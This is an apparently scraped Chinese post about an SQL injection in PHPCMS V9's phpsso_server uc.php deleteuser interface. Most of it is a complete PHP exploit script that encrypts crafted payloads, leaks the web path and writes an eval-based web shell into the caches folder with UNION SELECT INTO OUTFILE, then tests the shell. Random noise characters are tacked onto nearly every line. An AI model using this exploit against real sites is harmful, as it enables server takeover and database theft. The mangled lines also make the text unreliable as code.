PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。( |- q N1 r4 M( Z& L# G Y, x B
$ l$ s9 Q' _8 E5 }5 r4 b: p
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。) z4 I: b9 i8 l) M {
/ O0 Y% _0 {( F7 `7 l7 N8 ^
漏洞分析:4 x, U0 H' o$ x
1.未启用ucenter服务的情况下uc_key为空) n+ Y: V+ O8 y! I6 R
define('UC_KEY', pc_base::load_config('system', 'uc_key'));' b3 ?" k# c2 ?1 D" M
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
) F, z; n' C4 p, e public function deleteuser($get,$post) {# R. v" U; C( c9 M3 f
pc_base::load_app_func('global', 'admin');# p, U* ?+ |/ c( q6 Y+ V
pc_base::load_app_class('messagequeue', 'admin' , 0);# E9 T1 W$ I, E; R5 {6 R
$ids = new_stripslashes($get['ids']);' _2 ]6 }7 A0 s
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
5 R9 P3 G+ z2 a7 t9 Y& V- J4 p* a; pSQL语句为
! m3 G! T' m+ e0 k6 g# ?( ?; C6 `SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
4 J% S: ]9 Q/ C& r8 i1 V7 t! ]# j
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell- o o7 ?& T2 N$ M9 u/ a
<?php' W+ O J- u% _" N
print_r('$ f' d) o( H. h' \/ J' ~
---------------------------------------------------------------------------
+ u8 z$ }4 l) Q9 zPHPcms (v9 or Old Version) uc api sql injection 0day
' ~9 D3 M( `$ T, Y; kby rayh4c#80sec.com
, s* g9 h2 H7 j6 K; G4 q) v5 R---------------------------------------------------------------------------
: |7 X* ?% G g' U: y# a');" j; |3 j% B* X! @6 T; W
+ X9 A; ~/ {" g8 m! \1 Uif ($argc<3) {
0 l6 X5 j7 l a( @8 r3 C print_r('
: d# w* {5 k% N( u2 X---------------------------------------------------------------------------2 E! N& A' C1 Q( |2 M
Usage: php '.$argv[0].' host path OPTIONS
+ }( n: s; U5 E4 ?4 G& }host: target server (ip/hostname)6 @# b8 }$ `3 @' J% ?+ Y
path: path to phpcms
; w. q& x' X% Q6 G; l+ i5 |Options:) Z: J* r- j# n) S8 J* p% W
-p[port]: specify a port other than 80
3 j. f2 c" j9 j' O* u -P[ip:port]: specify a proxy
\' t" ]+ f' [! _" eExample:
X* e% w" s. A, E1 [1 e7 mphp '.$argv[0].' localhost /2 j/ O4 C4 o- @& @+ d. W
php '.$argv[0].' localhost /phpcms/ -p81/ V' @- W4 }9 a$ a9 o7 T4 c
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:804 k9 l: F, ^: O% N
---------------------------------------------------------------------------% M( B; G5 H+ v+ u0 Y7 k
');
7 C* S; j* R) S8 l- N7 e die;
3 X' u* w5 s1 h}, x( m0 L8 M n% Z) l
" H* o. a+ Q3 ^; g' T( w P
error_reporting(7);
. A( W9 `0 f' m3 B, c3 \- P3 T" mini_set("max_execution_time",0);$ e' G& F! G' ~7 ^
ini_set("default_socket_timeout",5);6 i: E! P! g3 Z; l
$ q9 e8 y+ B8 C6 H4 n" I
function quick_dump($string)
; @# b2 p( i5 O+ f{# u, j. g, G5 k* E3 K' n8 @
$result='';$exa='';$cont=0;
W: e) I# A: ?3 @% E4 ?2 _/ e for ($i=0; $i<=strlen($string)-1; $i++)" s+ i3 A6 E0 K8 w+ J
{
( e0 m. c- H2 L4 O- c# b if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))1 A; G* y: q6 |" B
{$result.=" .";}
: C" u( p$ b( _' o& e$ M9 c else
: `, a0 S. y% C1 { {$result.=" ".$string[$i];}
; |3 J, L. c- U, r2 A8 u if (strlen(dechex(ord($string[$i])))==2)
" `, w4 l; X) r {$exa.=" ".dechex(ord($string[$i]));}
6 B% b% B, {2 K! H- S7 V else; I% [: s& ^: _1 C* G V/ b$ ]" N. q2 P0 \
{$exa.=" 0".dechex(ord($string[$i]));}
: |' z# Q- J* p% R/ J $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}3 y1 l0 @5 G W" w3 o* h
}
2 {9 ?4 x9 g' [' f& p6 h return $exa."\r\n".$result;4 `- ^9 @' |' O; H, w4 W- o; ?# C2 h
}& l+ n7 A6 ]6 a' v; s6 A* m6 |8 `
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';0 o. ?( _ ^# |- T2 S! Y& ?! R. d! V9 n
; q9 n( K5 P! d. B: ~) T& Hfunction send($packet)7 Z( L/ ^: {8 k/ p% L
{
& U" z( K3 p ]' A' N! | global $proxy, $host, $port, $html, $proxy_regex;
& h8 d+ g: |2 u$ n1 J if ($proxy=='') {7 ?$ u6 }# U: E6 i8 R C+ K: }! K
$ock=fsockopen(gethostbyname($host),$port);
" T( X: b: M- }: q/ J2 x: E; s if (!$ock) {
8 Y* M$ \ |2 Z. P echo 'No response from '.$host.':'.$port; die;" F, \. s/ |9 U0 G# D: r
}
) B9 E/ `1 @8 p* m. z( p0 e }" h3 c' R4 C, `, y
else {
2 R" a# N+ R8 r p- M $c = preg_match($proxy_regex,$proxy);
. U* A7 H" S4 f C if (!$c) {# r$ Q, \, Y6 Q
echo 'Not a valid proxy...';die;- |& U! x) H* X
}
6 b! A; {1 K! r% ^+ M2 R; t $parts=explode(':',$proxy);4 q$ b; q! y! h/ E L
$parts[1]=(int)$parts[1];) i! s. p, ^# U* }' S e4 p9 ^
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";/ N0 }/ R. ?. |+ Z. c; R
$ock=fsockopen($parts[0],$parts[1]);3 {) K3 r$ C9 l2 a2 J$ V
if (!$ock) {1 s- [; c! @& | f% R! l' s1 p
echo 'No response from proxy...';die;
& F! p8 |" f# w8 i: Q }
: [ `, u" }5 }) \! a, J }- `$ m6 W' ?7 ?& F! e% `
fputs($ock,$packet);
. @+ X+ h1 S) y) Y7 o: y. ? if ($proxy=='') {$ u7 k% U4 P; `' Y6 ~( d
$html='';
) W1 [* u+ C; z while (!feof($ock)) {7 J' w; X$ |' I" s
$html.=fgets($ock);
8 W; e7 F8 c/ E" {7 H }
/ P' n6 l: z, F. B k2 d+ g& M }( b4 u" p5 M, C2 i+ ?
else {
: G: \& } F) u$ B z" e: e $html='';; ]! g& ?% c3 _" r
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {" l" q6 p3 w! Y* I, {
$html.=fread($ock,1);
+ O- a* U' e) \8 Z$ x( n }% W1 S/ Y- L# U: R
}6 r% { r& `1 l
fclose($ock);# v1 h" o( B9 y! x% x7 Y+ m
}
& W( Z) Z4 b9 s9 r; q5 f( ~+ W9 J/ t' C% T; y% t, i3 r5 p2 g
$host=$argv[1];% u% n$ ]3 o2 ?6 K/ v% k2 T
$path=$argv[2];
6 \7 j, N1 M2 `2 s2 P$port=80;- u5 O+ H6 h2 b9 p& c. g
$proxy="";
# y3 e* J+ C4 s3 ~4 k3 ~for ($i=3; $i<$argc; $i++){% X! F/ b8 G5 J3 c
$temp=$argv[$i][0].$argv[$i][1];
; f+ o3 N! A' q; S# ?if ($temp=="-p")
4 e9 C; e, g, N6 y, ] i% u{! }) S8 L" S7 O. z# N& `
$port=(int)str_replace("-p","",$argv[$i]);+ k3 x4 U+ q$ R* A- O
}+ f3 l4 y( [# V8 O
if ($temp=="-P")! x8 A$ w1 ~; {7 _7 ]
{
0 i) R2 m" r I; ^. H $proxy=str_replace("-P","",$argv[$i]);
# t8 g/ J( B: r- j}: J% I2 v2 G. J+ \2 C
}" x; n$ z5 N2 r$ c
# N! ?" `/ q3 Q# xif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}8 C& _. }3 C. r0 ~8 c. o+ {
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
3 |0 W: g# W9 {2 V. R, z( o1 j1 D
' g. ^% E$ k7 ffunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {; z6 w: e: X/ k% ]# m8 V0 b
3 d+ x w' O! i# c6 G4 X6 S
$ckey_length = 4;. R5 v! }3 K8 e: \9 s& Z* l
- o! Y" j% b& E" \3 [8 _ v $key = md5($key ? $key : '');( ]* @# y/ @" \3 m
$keya = md5(substr($key, 0, 16));
( |) P$ \# Z6 Z3 M $keyb = md5(substr($key, 16, 16));
6 ~+ V5 S8 O& ?3 ]* u9 L; K' a* W0 ^ $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
- c" P5 v$ x }! q+ x
- n% j$ Y* _! Z+ M# Y8 Y# p6 Q $cryptkey = $keya.md5($keya.$keyc);
+ P0 r" _2 K3 J/ m& B $key_length = strlen($cryptkey);
4 L+ f: t+ F- h2 J. z/ A! o1 H1 v% k
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;( c! Y) Q! k% b2 k% g# C
$string_length = strlen($string);
) Y9 C/ y( Q& c( ?' g+ D5 Q
5 V# u6 m |( S* d $result = '';
7 y& K q, K: Z( K- `* Z; }6 h $box = range(0, 255);; V$ ?; |! ~$ r& B% w
9 ?+ v+ B+ ~& a; U0 |8 ?
$rndkey = array();2 S2 m- G2 c( D$ Z
for($i = 0; $i <= 255; $i++) {7 P" J V V# Z$ z. c' X6 r
$rndkey[$i] = ord($cryptkey[$i % $key_length]);- D( e! O0 g' \. o0 a3 ?
}
) R, b$ e/ V+ a. {; W
7 y- }9 G! u2 f, C1 s" m) b" ?* F for($j = $i = 0; $i < 256; $i++) {2 i: }- w" `+ M1 Z' w
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
* j8 o. s4 H0 i) R* C" q4 n $tmp = $box[$i];
, x R3 F7 X Q. V $box[$i] = $box[$j];2 S& N6 s5 [ b& |. [' O3 K8 g
$box[$j] = $tmp;$ N- k& O) M( `9 T3 t
}
& B! C; K) m$ d4 X/ V! Y( H
8 E/ b3 X& [0 U5 t( N8 j for($a = $j = $i = 0; $i < $string_length; $i++) {
1 T9 D; t5 n& U $a = ($a + 1) % 256;/ s7 c8 u% E* V. {, E' I
$j = ($j + $box[$a]) % 256;
. v0 q+ G2 q/ D W3 @ $tmp = $box[$a];
( h. H7 j& l) g' W- S $box[$a] = $box[$j];
) K; d7 d6 y. O6 c7 _" O" ^ $box[$j] = $tmp;& z q3 k, \2 q7 y, q, d. |$ O
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
/ N& V2 j+ ?1 q+ o. i4 Y }
$ n) _( a0 `' x {5 k# P) h1 l& u6 c$ W
. ^; N! u$ @( d0 `+ f8 O if($operation == 'DECODE') {3 s2 n3 Y) c! I1 c+ H8 g
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {! E5 R( S3 X) k8 P0 i; r9 n
return substr($result, 26);" j/ c* w G& r8 ]% l% T5 N
} else {
+ S- W) [7 ^. X3 M return '';* s, i, V3 f; A+ w/ S) L& o
}
% _, H( d6 h& f, z& q" f } else {
. C3 ^& u ?. l; o5 ]1 f( W return $keyc.str_replace('=', '', base64_encode($result));
% L& g# z% J+ t( n }8 ^% s! }9 ]! m0 d/ ~4 y n/ K
% O: j3 t ~$ G1 x& y
}# R! }% K8 P6 ^( q9 Y/ c% P
* ]( ]3 H# r% B5 b( J" f
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
( S- N2 Q! @* g3 B6 K* T$SQL = urlencode(authcode($SQL, "ENCODE", ""));: O0 A6 D: z& X; `, T
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
% {5 Z# U# s: H% S$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";& P4 r2 Y( ]) P: X
$packet.="User-Agent: Mozilla/5.0\r\n";5 z: Q, p, w" h X
$packet.="Host: ".$host."\r\n";$ w$ \$ K9 Y% `; a* t6 o
$packet.="Connection: Close\r\n\r\n"; Z8 }8 L0 N9 h$ f: ^
send($packet);
( r c$ Q( c8 V4 |2 T: Zif(strpos($html,"MySQL Errno") > 0){/ ? R7 v/ h; B2 {
echo "[2] 发现存在SQL注入漏洞"."\n";
/ ^- k" K B: C$ j& `# Lecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";; W/ J: s! ?: F8 r6 ^
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";! e/ j& l+ i1 Q1 C# e n9 I
$packet.="User-Agent: Mozilla/5.0\r\n";1 F: k, V; J: j
$packet.="Host: ".$host."\r\n";* O d- C' A0 O
$packet.="Connection: Close\r\n\r\n";6 A6 l1 n( h9 r; i8 W) R! Y- a
send($packet);
0 c7 U0 K( \+ b8 ]( D; ?preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
% a+ j: h2 ]5 x2 U; H- L//print_r($matches);% B: [: f% w5 E& h3 y2 x" G( f5 E5 T( L
if(!empty($matches)){) f2 M3 k' u0 [. T' R0 `4 d
echo "[4] 得到web路径 " . $matches[0]."\n";
8 F: E0 P/ z Yecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
t6 P6 J. E* j! z: d$SQL = "time=999999999999999999999999&ids=1)";
) p0 _3 @* C' t9 w$ H, I, B$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
4 q- D# b# k2 N% h$SQL.="&action=deleteuser";
! T: f' {- w8 K4 b0 W1 q' g6 |( _8 G$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 q- d: {- W* s4 d
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";& i; g5 ]1 c" V( k
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# B" q& u* E1 v6 Y$ |$ ]- b5 \$packet.="User-Agent: Mozilla/5.0\r\n";
1 ^+ t1 n& B" |( j$packet.="Host: ".$host."\r\n";# P5 u( s3 p' i5 O5 l8 `
$packet.="Connection: Close\r\n\r\n";
: U. \5 e+ L) E) g! x) Y. Ssend($packet);
' p/ `' n6 d; J9 Oif(strpos($html,"Access denied") > 0){# [2 X# k: c, O( i/ W1 M: g
echo "[-] MYSQL权限过低 禁止写入文件 ";+ N3 r# a p! W8 T0 |+ v# Z
die;9 k. N# ~6 i' U6 u4 E9 M
}
, m \/ s" [6 pecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n"; I9 a8 ]# e- V6 [
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
- Y+ S: ^5 ~+ X% x, o. J1 O- V$packet.="User-Agent: Mozilla/5.0\r\n";
( D" n! g0 s1 k' }- U" o& v$packet.="Host: ".$host."\r\n";
5 w+ Z5 R6 d# B7 u$packet.="Connection: Close\r\n\r\n";1 [: [/ y0 N3 `" P l; ~1 v: R
send($packet);
3 @" R H! H5 L7 x! {' G- sif(strpos($html,"<title>phpinfo()</title>") > 0){! T% f# }% G# |5 E3 W/ k, W( J
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";' G9 X3 q" J# @3 b3 x
}
) k1 a8 t3 o3 n- ~}else{
7 C' p* B K8 u, R. B2 H( y4 ?echo "[-]未取到web路径 ";: ^- B# [: E5 G# {& }
}: L* m# z1 L" t* Q' k5 ^, \. k
}else{
) N: k" f# Y+ D- aecho "[*]不存在SQL注入漏洞"."\n";
. ?( J8 h) o* j}0 C b I1 p9 k# z6 Y1 x& j" I
* ?) h/ v* D! _ _- S/ L
?>
" J' {* L) w0 f) F3 |4 ? q: } Z. w |